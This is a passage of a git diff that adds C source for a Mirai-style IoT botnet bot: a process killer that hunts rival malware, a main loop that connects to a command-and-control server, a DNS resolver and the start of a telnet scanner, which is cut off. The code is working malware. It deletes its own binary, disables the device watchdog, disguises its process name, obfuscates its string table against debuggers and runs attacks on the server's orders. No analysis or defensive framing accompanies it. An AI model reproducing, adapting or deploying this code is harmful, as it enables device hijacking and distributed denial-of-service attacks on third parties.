+ table_lock_val(TABLE_KILLER_FD);
+
+ return ret;
+}
+
+static BOOL has_exe_access(void)
+{
+ char path[PATH_MAX], *ptr_path = path, tmp[16];
+ int fd, k_rp_len;
+
+ table_unlock_val(TABLE_KILLER_PROC);
+ table_unlock_val(TABLE_KILLER_EXE);
+
+ // Copy /proc/$pid/exe into path
+ ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
+ ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp));
+ ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
+
+ // Try to open file
+ if ((fd = open(path, O_RDONLY)) == -1)
+ {
+#ifdef DEBUG
+ printf("[killer] Failed to open()\n");
+#endif
+ return FALSE;
+ }
+ close(fd);
+
+ table_lock_val(TABLE_KILLER_PROC);
+ table_lock_val(TABLE_KILLER_EXE);
+
+ if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1)
+ {
+ killer_realpath[k_rp_len] = 0;
+#ifdef DEBUG
+ printf("[killer] Detected we are running out of `%s`\n", killer_realpath);
+#endif
+ }
+
+ util_zero(path, ptr_path - path);
+
+ return TRUE;
+}
+
+/*
+static BOOL status_upx_check(char *exe_path, char *status_path)
+{
+ int fd, ret;
+
+ if ((fd = open(exe_path, O_RDONLY)) != -1)
+ {
+ close(fd);
+ return FALSE;
+ }
+
+ if ((fd = open(status_path, O_RDONLY)) == -1)
+ return FALSE;
+
+ while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
+ {
+ if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
+ mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
+ mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
+ mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
+ mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
+ {
+ found = TRUE;
+ break;
+ }
+ }
+
+ //eyy
+
+ close(fd);
+ return FALSE;
+}
+*/
+
+static BOOL memory_scan_match(char *path)
+{
+ int fd, ret;
+ char rdbuf[4096];
+ char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard;
+ int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len;
+ BOOL found = FALSE;
+
+ if ((fd = open(path, O_RDONLY)) == -1)
+ return FALSE;
+
+ table_unlock_val(TABLE_MEM_QBOT);
+ table_unlock_val(TABLE_MEM_QBOT2);
+ table_unlock_val(TABLE_MEM_QBOT3);
+ table_unlock_val(TABLE_MEM_UPX);
+ table_unlock_val(TABLE_MEM_ZOLLARD);
+
+ m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len);
+ m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len);
+ m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len);
+ m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len);
+ m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);
+
+ while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
+ {
+ if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
+ mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
+ mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
+ mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
+ mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
+ {
+ found = TRUE;
+ break;
+ }
+ }
+
+ table_lock_val(TABLE_MEM_QBOT);
+ table_lock_val(TABLE_MEM_QBOT2);
+ table_lock_val(TABLE_MEM_QBOT3);
+ table_lock_val(TABLE_MEM_UPX);
+ table_lock_val(TABLE_MEM_ZOLLARD);
+
+ close(fd);
+
+ return found;
+}
+
+static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)
+{
+ int matches = 0;
+
+ if (str_len > buf_len)
+ return FALSE;
+
+ while (buf_len--)
+ {
+ if (*buf++ == str[matches])
+ {
+ if (++matches == str_len)
+ return TRUE;
+ }
+ else
+ matches = 0;
+ }
+
+ return FALSE;
+}
diff --git a/rai/bot/killer.h b/rai/bot/killer.h
new file mode 100644
index 0000000..7e2b657
--- /dev/null
+++ b/rai/bot/killer.h
@@ -0,0 +1,19 @@
+#pragma once
+
+#include "includes.h"
+
+#define KILLER_MIN_PID 400
+#define KILLER_RESTART_SCAN_TIME 600
+
+#define KILLER_REBIND_TELNET
+// #define KILLER_REBIND_SSH
+// #define KILLER_REBIND_HTTP
+
+void killer_init(void);
+void killer_kill(void);
+BOOL killer_kill_by_port(port_t);
+
+static BOOL has_exe_access(void);
+static BOOL memory_scan_match(char *);
+static BOOL status_upx_check(char *, char *);
+static BOOL mem_exists(char *, int, char *, int);
diff --git a/rai/bot/main.c b/rai/bot/main.c
new file mode 100644
index 0000000..8c0510f
--- /dev/null
+++ b/rai/bot/main.c
@@ -0,0 +1,533 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "table.h"
+#include "rand.h"
+#include "attack.h"
+#include "killer.h"
+#include "scanner.h"
+#include "util.h"
+#include "resolv.h"
+
+static void anti_gdb_entry(int);
+static void resolve_cnc_addr(void);
+static void establish_connection(void);
+static void teardown_connection(void);
+static void ensure_single_instance(void);
+static BOOL unlock_tbl_if_nodebug(char *);
+
+struct sockaddr_in srv_addr;
+int fd_ctrl = -1, fd_serv = -1;
+BOOL pending_connection = FALSE;
+void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry
+
+#ifdef DEBUG
+static void segv_handler(int sig, siginfo_t *si, void *unused)
+{
+ printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr);
+ exit(EXIT_FAILURE);
+}
+#endif
+
+int main(int argc, char **args)
+{
+ char *tbl_exec_succ;
+ char name_buf[32];
+ char id_buf[32];
+ int name_buf_len;
+ int tbl_exec_succ_len;
+ int pgid, pings = 0;
+
+#ifndef DEBUG
+ sigset_t sigs;
+ int wfd;
+
+ // Delete self
+ unlink(args[0]);
+
+ // Signal based control flow
+ sigemptyset(&sigs);
+ sigaddset(&sigs, SIGINT);
+ sigprocmask(SIG_BLOCK, &sigs, NULL);
+ signal(SIGCHLD, SIG_IGN);
+ signal(SIGTRAP, &anti_gdb_entry);
+
+ // Prevent watchdog from rebooting device
+ if ((wfd = open("/dev/watchdog", 2)) != -1 ||
+ (wfd = open("/dev/misc/watchdog", 2)) != -1)
+ {
+ int one = 1;
+
+ ioctl(wfd, 0x80045704, &one);
+ close(wfd);
+ wfd = 0;
+ }
+ chdir("/");
+#endif
+
+#ifdef DEBUG
+ printf("DEBUG MODE YO\n");
+
+ sleep(1);
+
+ struct sigaction sa;
+
+ sa.sa_flags = SA_SIGINFO;
+ sigemptyset(&sa.sa_mask);
+ sa.sa_sigaction = segv_handler;
+ if (sigaction(SIGSEGV, &sa, NULL) == -1)
+ perror("sigaction");
+
+ sa.sa_flags = SA_SIGINFO;
+ sigemptyset(&sa.sa_mask);
+ sa.sa_sigaction = segv_handler;
+ if (sigaction(SIGBUS, &sa, NULL) == -1)
+ perror("sigaction");
+#endif
+
+ LOCAL_ADDR = util_local_addr();
+
+ srv_addr.sin_family = AF_INET;
+ srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR;
+ srv_addr.sin_port = htons(FAKE_CNC_PORT);
+
+#ifdef DEBUG
+ unlock_tbl_if_nodebug(args[0]);
+ anti_gdb_entry(0);
+#else
+ if (unlock_tbl_if_nodebug(args[0]))
+ raise(SIGTRAP);
+#endif
+
+ ensure_single_instance();
+
+ rand_init();
+
+ util_zero(id_buf, 32);
+ if (argc == 2 && util_strlen(args[1]) < 32)
+ {
+ util_strcpy(id_buf, args[1]);
+ util_zero(args[1], util_strlen(args[1]));
+ }
+
+ // Hide argv0
+ name_buf_len = ((rand_next() % 4) + 3) * 4;
+ rand_alphastr(name_buf, name_buf_len);
+ name_buf[name_buf_len] = 0;
+ util_strcpy(args[0], name_buf);
+
+ // Hide process name
+ name_buf_len = ((rand_next() % 6) + 3) * 4;
+ rand_alphastr(name_buf, name_buf_len);
+ name_buf[name_buf_len] = 0;
+ prctl(PR_SET_NAME, name_buf);
+
+ // Print out system exec
+ table_unlock_val(TABLE_EXEC_SUCCESS);
+ tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);
+ write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
+ write(STDOUT, "\n", 1);
+ table_lock_val(TABLE_EXEC_SUCCESS);
+
+#ifndef DEBUG
+ if (fork() > 0)
+ return 0;
+ pgid = setsid();
+ close(STDIN);
+ close(STDOUT);
+ close(STDERR);
+#endif
+
+ attack_init();
+ killer_init();
+#ifndef DEBUG
+#ifdef MIRAI_TELNET
+ scanner_init();
+#endif
+#endif
+
+ while (TRUE)
+ {
+ fd_set fdsetrd, fdsetwr, fdsetex;
+ struct timeval timeo;
+ int mfd, nfds;
+
+ FD_ZERO(&fdsetrd);
+ FD_ZERO(&fdsetwr);
+
+ // Socket for accept()
+ if (fd_ctrl != -1)
+ FD_SET(fd_ctrl, &fdsetrd);
+
+ // Set up CNC sockets
+ if (fd_serv == -1)
+ establish_connection();
+
+ if (pending_connection)
+ FD_SET(fd_serv, &fdsetwr);
+ else
+ FD_SET(fd_serv, &fdsetrd);
+
+ // Get maximum FD for select
+ if (fd_ctrl > fd_serv)
+ mfd = fd_ctrl;
+ else
+ mfd = fd_serv;
+
+ // Wait 10s in call to select()
+ timeo.tv_usec = 0;
+ timeo.tv_sec = 10;
+ nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
+ if (nfds == -1)
+ {
+#ifdef DEBUG
+ printf("select() errno = %d\n", errno);
+#endif
+ continue;
+ }
+ else if (nfds == 0)
+ {
+ uint16_t len = 0;
+
+ if (pings++ % 6 == 0)
+ send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
+ }
+
+ // Check if we need to kill ourselves
+ if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))
+ {
+ struct sockaddr_in cli_addr;
+ socklen_t cli_addr_len = sizeof (cli_addr);
+
+ accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len);
+
+#ifdef DEBUG
+ printf("[main] Detected newer instance running! Killing self\n");
+#endif
+#ifdef MIRAI_TELNET
+ scanner_kill();
+#endif
+ killer_kill();
+ attack_kill_all();
+ kill(pgid * -1, 9);
+ exit(0);
+ }
+
+ // Check if CNC connection was established or timed out or errored
+ if (pending_connection)
+ {
+ pending_connection = FALSE;
+
+ if (!FD_ISSET(fd_serv, &fdsetwr))
+ {
+#ifdef DEBUG
+ printf("[main] Timed out while connecting to CNC\n");
+#endif
+ teardown_connection();
+ }
+ else
+ {
+ int err = 0;
+ socklen_t err_len = sizeof (err);
+
+ getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
+ if (err != 0)
+ {
+#ifdef DEBUG
+ printf("[main] Error while connecting to CNC code=%d\n", err);
+#endif
+ close(fd_serv);
+ fd_serv = -1;
+ sleep((rand_next() % 10) + 1);
+ }
+ else
+ {
+ uint8_t id_len = util_strlen(id_buf);
+
+ LOCAL_ADDR = util_local_addr();
+ send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
+ send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
+ if (id_len > 0)
+ {
+ send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
+ }
+#ifdef DEBUG
+ printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
+#endif
+ }
+ }
+ }
+ else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd))
+ {
+ int n;
+ uint16_t len;
+ char rdbuf[1024];
+
+ // Try to read in buffer length from CNC
+ errno = 0;
+ n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK);
+ if (n == -1)
+ {
+ if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
+ continue;
+ else
+ n = 0; // Cause connection to close
+ }
+
+ // If n == 0 then we close the connection!
+ if (n == 0)
+ {
+#ifdef DEBUG
+ printf("[main] Lost connection with CNC (errno = %d) 1\n", errno);
+#endif
+ teardown_connection();
+ continue;
+ }
+
+ // Convert length to network order and sanity check length
+ if (len == 0) // If it is just a ping, no need to try to read in buffer data
+ {
+ recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length
+ continue;
+ }
+ len = ntohs(len);
+ if (len > sizeof (rdbuf))
+ {
+ close(fd_serv);
+ fd_serv = -1;
+ }
+
+ // Try to read in buffer from CNC
+ errno = 0;
+ n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);
+ if (n == -1)
+ {
+ if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
+ continue;
+ else
+ n = 0;
+ }
+
+ // If n == 0 then we close the connection!
+ if (n == 0)
+ {
+#ifdef DEBUG
+ printf("[main] Lost connection with CNC (errno = %d) 2\n", errno);
+#endif
+ teardown_connection();
+ continue;
+ }
+
+ // Actually read buffer length and buffer data
+ recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
+ len = ntohs(len);
+ recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);
+
+#ifdef DEBUG
+ printf("[main] Received %d bytes from CNC\n", len);
+#endif
+
+ if (len > 0)
+ attack_parse(rdbuf, len);
+ }
+ }
+
+ return 0;
+}
+
+static void anti_gdb_entry(int sig)
+{
+ resolve_func = resolve_cnc_addr;
+}
+
+static void resolve_cnc_addr(void)
+{
+ struct resolv_entries *entries;
+
+ table_unlock_val(TABLE_CNC_DOMAIN);
+ entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
+ table_lock_val(TABLE_CNC_DOMAIN);
+ if (entries == NULL)
+ {
+#ifdef DEBUG
+ printf("[main] Failed to resolve CNC address\n");
+#endif
+ return;
+ }
+ srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
+ resolv_entries_free(entries);
+
+ table_unlock_val(TABLE_CNC_PORT);
+ srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
+ table_lock_val(TABLE_CNC_PORT);
+
+#ifdef DEBUG
+ printf("[main] Resolved domain\n");
+#endif
+}
+
+static void establish_connection(void)
+{
+#ifdef DEBUG
+ printf("[main] Attempting to connect to CNC\n");
+#endif
+
+ if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ {
+#ifdef DEBUG
+ printf("[main] Failed to call socket(). Errno = %d\n", errno);
+#endif
+ return;
+ }
+
+ fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0));
+
+ // Should call resolve_cnc_addr
+ if (resolve_func != NULL)
+ resolve_func();
+
+ pending_connection = TRUE;
+ connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in));
+}
+
+static void teardown_connection(void)
+{
+#ifdef DEBUG
+ printf("[main] Tearing down connection to CNC!\n");
+#endif
+
+ if (fd_serv != -1)
+ close(fd_serv);
+ fd_serv = -1;
+ sleep(1);
+}
+
+static void ensure_single_instance(void)
+{
+ static BOOL local_bind = TRUE;
+ struct sockaddr_in addr;
+ int opt = 1;
+
+ if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ return;
+ setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
+ fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));
+
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
+ addr.sin_port = htons(SINGLE_INSTANCE_PORT);
+
+ // Try to bind to the control port
+ errno = 0;
+ if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
+ {
+ if (errno == EADDRNOTAVAIL && local_bind)
+ local_bind = FALSE;
+#ifdef DEBUG
+ printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
+#endif
+
+ // Reset addr just in case
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = INADDR_ANY;
+ addr.sin_port = htons(SINGLE_INSTANCE_PORT);
+
+ if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
+ {
+#ifdef DEBUG
+ printf("[main] Failed to connect to fd_ctrl to request process termination\n");
+#endif
+ }
+
+ sleep(5);
+ close(fd_ctrl);
+ killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
+ ensure_single_instance(); // Call again, so that we are now the control
+ }
+ else
+ {
+ if (listen(fd_ctrl, 1) == -1)
+ {
+#ifdef DEBUG
+ printf("[main] Failed to call listen() on fd_ctrl\n");
+ close(fd_ctrl);
+ sleep(5);
+ killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
+ ensure_single_instance();
+#endif
+ }
+#ifdef DEBUG
+ printf("[main] We are the only process on this system!\n");
+#endif
+ }
+}
+
+static BOOL unlock_tbl_if_nodebug(char *argv0)
+{
+ // ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72
+ char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];
+ int i, ii = 0, c = 0;
+ uint8_t fold = 0xAF;
+ void (*obf_funcs[]) (void) = {
+ (void (*) (void))ensure_single_instance,
+ (void (*) (void))table_unlock_val,
+ (void (*) (void))table_retrieve_val,
+ (void (*) (void))table_init, // This is the function we actually want to run
+ (void (*) (void))table_lock_val,
+ (void (*) (void))util_memcpy,
+ (void (*) (void))util_strcmp,
+ (void (*) (void))killer_init,
+ (void (*) (void))anti_gdb_entry
+ };
+ BOOL matches;
+
+ for (i = 0; i < 7; i++)
+ c += (long)obf_funcs[i];
+ if (c == 0)
+ return FALSE;
+
+ // We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3
+ for (i = 0; i < sizeof (buf_src); i += 3)
+ {
+ char tmp = buf_src[i];
+
+ buf_dst[ii++] = buf_src[i + 1];
+ buf_dst[ii++] = tmp;
+
+ // Meaningless tautology that gets you right back where you started
+ i *= 2;
+ i += 14;
+ i /= 2;
+ i -= 7;
+
+ // Mess with 0xAF
+ fold += ~argv0[ii % util_strlen(argv0)];
+ }
+ fold %= (sizeof (obf_funcs) / sizeof (void *));
+
+#ifndef DEBUG
+ (obf_funcs[fold])();
+ matches = util_strcmp(argv0, buf_dst);
+ util_zero(buf_src, sizeof (buf_src));
+ util_zero(buf_dst, sizeof (buf_dst));
+ return matches;
+#else
+ table_init();
+ return TRUE;
+#endif
+}
diff --git a/rai/bot/protocol.h b/rai/bot/protocol.h
new file mode 100644
index 0000000..6e48050
--- /dev/null
+++ b/rai/bot/protocol.h
@@ -0,0 +1,34 @@
+#pragma once
+
+#include
+
+#include "includes.h"
+
+struct dnshdr {
+ uint16_t id, opts, qdcount, ancount, nscount, arcount;
+};
+
+struct dns_question {
+ uint16_t qtype, qclass;
+};
+
+struct dns_resource {
+ uint16_t type, _class;
+ uint32_t ttl;
+ uint16_t data_len;
+} __attribute__((packed));
+
+struct grehdr {
+ uint16_t opts, protocol;
+};
+
+#define PROTO_DNS_QTYPE_A 1
+#define PROTO_DNS_QCLASS_IP 1
+
+#define PROTO_TCP_OPT_NOP 1
+#define PROTO_TCP_OPT_MSS 2
+#define PROTO_TCP_OPT_WSS 3
+#define PROTO_TCP_OPT_SACK 4
+#define PROTO_TCP_OPT_TSVAL 8
+
+#define PROTO_GRE_TRANS_ETH 0x6558
diff --git a/rai/bot/rand.c b/rai/bot/rand.c
new file mode 100644
index 0000000..ed5105c
--- /dev/null
+++ b/rai/bot/rand.c
@@ -0,0 +1,84 @@
+#define _GNU_SOURCE
+
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "rand.h"
+
+static uint32_t x, y, z, w;
+
+void rand_init(void)
+{
+ x = time(NULL);
+ y = getpid() ^ getppid();
+ z = clock();
+ w = z ^ y;
+}
+
+uint32_t rand_next(void) //period 2^96-1
+{
+ uint32_t t = x;
+ t ^= t << 11;
+ t ^= t >> 8;
+ x = y; y = z; z = w;
+ w ^= w >> 19;
+ w ^= t;
+ return w;
+}
+
+void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len
+{
+ while (len > 0)
+ {
+ if (len >= 4)
+ {
+ *((uint32_t *)str) = rand_next();
+ str += sizeof (uint32_t);
+ len -= sizeof (uint32_t);
+ }
+ else if (len >= 2)
+ {
+ *((uint16_t *)str) = rand_next() & 0xFFFF;
+ str += sizeof (uint16_t);
+ len -= sizeof (uint16_t);
+ }
+ else
+ {
+ *str++ = rand_next() & 0xFF;
+ len--;
+ }
+ }
+}
+
+void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str
+{
+ const char alphaset[] = "abcdefghijklmnopqrstuvw012345678";
+
+ while (len > 0)
+ {
+ if (len >= sizeof (uint32_t))
+ {
+ int i;
+ uint32_t entropy = rand_next();
+
+ for (i = 0; i < sizeof (uint32_t); i++)
+ {
+ uint8_t tmp = entropy & 0xff;
+
+ entropy = entropy >> 8;
+ tmp = tmp >> 3;
+
+ *str++ = alphaset[tmp];
+ }
+ len -= sizeof (uint32_t);
+ }
+ else
+ {
+ *str++ = rand_next() % (sizeof (alphaset));
+ len--;
+ }
+ }
+}
diff --git a/rai/bot/rand.h b/rai/bot/rand.h
new file mode 100644
index 0000000..c9069af
--- /dev/null
+++ b/rai/bot/rand.h
@@ -0,0 +1,10 @@
+#pragma once
+
+#include
+
+#define PHI 0x9e3779b9
+
+void rand_init(void);
+uint32_t rand_next(void);
+void rand_str(char *, int);
+void rand_alphastr(uint8_t *, int);
diff --git a/rai/bot/resolv.c b/rai/bot/resolv.c
new file mode 100644
index 0000000..ea1f62d
--- /dev/null
+++ b/rai/bot/resolv.c
@@ -0,0 +1,237 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "resolv.h"
+#include "util.h"
+#include "rand.h"
+#include "protocol.h"
+
+void resolv_domain_to_hostname(char *dst_hostname, char *src_domain)
+{
+ int len = util_strlen(src_domain) + 1;
+ char *lbl = dst_hostname, *dst_pos = dst_hostname + 1;
+ uint8_t curr_len = 0;
+
+ while (len-- > 0)
+ {
+ char c = *src_domain++;
+
+ if (c == '.' || c == 0)
+ {
+ *lbl = curr_len;
+ lbl = dst_pos++;
+ curr_len = 0;
+ }
+ else
+ {
+ curr_len++;
+ *dst_pos++ = c;
+ }
+ }
+ *dst_pos = 0;
+}
+
+static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count)
+{
+ unsigned int jumped = 0, offset;
+ *count = 1;
+ while(*reader != 0)
+ {
+ if(*reader >= 192)
+ {
+ offset = (*reader)*256 + *(reader+1) - 49152;
+ reader = buffer + offset - 1;
+ jumped = 1;
+ }
+ reader = reader+1;
+ if(jumped == 0)
+ *count = *count + 1;
+ }
+
+ if(jumped == 1)
+ *count = *count + 1;
+}
+
+struct resolv_entries *resolv_lookup(char *domain)
+{
+ struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries));
+ char query[2048], response[2048];
+ struct dnshdr *dnsh = (struct dnshdr *)query;
+ char *qname = (char *)(dnsh + 1);
+
+ resolv_domain_to_hostname(qname, domain);
+
+ struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
+ struct sockaddr_in addr = {0};
+ int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question);
+ int tries = 0, fd = -1, i = 0;
+ uint16_t dns_id = rand_next() % 0xffff;
+
+ util_zero(&addr, sizeof (struct sockaddr_in));
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
+ addr.sin_port = htons(53);
+
+ // Set up the dns query
+ dnsh->id = dns_id;
+ dnsh->opts = htons(1 << 8); // Recursion desired
+ dnsh->qdcount = htons(1);
+ dnst->qtype = htons(PROTO_DNS_QTYPE_A);
+ dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
+
+ while (tries++ < 5)
+ {
+ fd_set fdset;
+ struct timeval timeo;
+ int nfds;
+
+ if (fd != -1)
+ close(fd);
+ if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
+ {
+#ifdef DEBUG
+ printf("[resolv] Failed to create socket\n");
+#endif
+ sleep(1);
+ continue;
+ }
+
+ if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
+ {
+#ifdef DEBUG
+ printf("[resolv] Failed to call connect on udp socket\n");
+#endif
+ sleep(1);
+ continue;
+ }
+
+ if (send(fd, query, query_len, MSG_NOSIGNAL) == -1)
+ {
+#ifdef DEBUG
+ printf("[resolv] Failed to send packet: %d\n", errno);
+#endif
+ sleep(1);
+ continue;
+ }
+
+ fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0));
+ FD_ZERO(&fdset);
+ FD_SET(fd, &fdset);
+
+ timeo.tv_sec = 5;
+ timeo.tv_usec = 0;
+ nfds = select(fd + 1, &fdset, NULL, NULL, &timeo);
+
+ if (nfds == -1)
+ {
+#ifdef DEBUG
+ printf("[resolv] select() failed\n");
+#endif
+ break;
+ }
+ else if (nfds == 0)
+ {
+#ifdef DEBUG
+ printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies");
+#endif
+ continue;
+ }
+ else if (FD_ISSET(fd, &fdset))
+ {
+#ifdef DEBUG
+ printf("[resolv] Got response from select\n");
+#endif
+ int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL);
+ char *name;
+ struct dnsans *dnsa;
+ uint16_t ancount;
+ int stop;
+
+ if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question)))
+ continue;
+
+ dnsh = (struct dnshdr *)response;
+ qname = (char *)(dnsh + 1);
+ dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
+ name = (char *)(dnst + 1);
+
+ if (dnsh->id != dns_id)
+ continue;
+ if (dnsh->ancount == 0)
+ continue;
+
+ ancount = ntohs(dnsh->ancount);
+ while (ancount-- > 0)
+ {
+ struct dns_resource *r_data = NULL;
+
+ resolv_skip_name(name, response, &stop);
+ name = name + stop;
+
+ r_data = (struct dns_resource *)name;
+ name = name + sizeof(struct dns_resource);
+
+ if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP))
+ {
+ if (ntohs(r_data->data_len) == 4)
+ {
+ uint32_t *p;
+ uint8_t tmp_buf[4];
+ for(i = 0; i < 4; i++)
+ tmp_buf[i] = name[i];
+
+ p = (uint32_t *)tmp_buf;
+
+ entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t));
+ entries->addrs[entries->addrs_len++] = (*p);
+#ifdef DEBUG
+ printf("[resolv] Found IP address: %08x\n", (*p));
+#endif
+ }
+
+ name = name + ntohs(r_data->data_len);
+ } else {
+ resolv_skip_name(name, response, &stop);
+ name = name + stop;
+ }
+ }
+ }
+
+ break;
+ }
+
+ close(fd);
+
+#ifdef DEBUG
+ printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len);
+#endif
+
+ if (entries->addrs_len > 0)
+ return entries;
+ else
+ {
+ resolv_entries_free(entries);
+ return NULL;
+ }
+}
+
+void resolv_entries_free(struct resolv_entries *entries)
+{
+ if (entries == NULL)
+ return;
+ if (entries->addrs != NULL)
+ free(entries->addrs);
+ free(entries);
+}
diff --git a/rai/bot/resolv.h b/rai/bot/resolv.h
new file mode 100644
index 0000000..69e335c
--- /dev/null
+++ b/rai/bot/resolv.h
@@ -0,0 +1,12 @@
+#pragma once
+
+#include "includes.h"
+
+struct resolv_entries {
+ uint8_t addrs_len;
+ ipv4_t *addrs;
+};
+
+void resolv_domain_to_hostname(char *, char *);
+struct resolv_entries *resolv_lookup(char *);
+void resolv_entries_free(struct resolv_entries *);
diff --git a/rai/bot/scanner.c b/rai/bot/scanner.c
new file mode 100644
index 0000000..615aa93
--- /dev/null
+++ b/rai/bot/scanner.c
@@ -0,0 +1,991 @@
+#define _GNU_SOURCE
+
+#ifdef MIRAI_TELNET
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "scanner.h"
+#include "table.h"
+#include "rand.h"
+#include "util.h"
+#include "checksum.h"
+#include "resolv.h"
+
+int scanner_pid, rsck, rsck_out, auth_table_len = 0;
+char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};
+struct scanner_auth *auth_table = NULL;
+struct scanner_connection *conn_table;
+uint16_t auth_table_max_weight = 0;
+uint32_t fake_time = 0;
+
+int recv_strip_null(int sock, void *buf, int len, int flags)
+{
+ int ret = recv(sock, buf, len, flags);
+
+ if (ret > 0)
+ {
+ int i = 0;
+
+ for(i = 0; i < ret; i++)
+ {
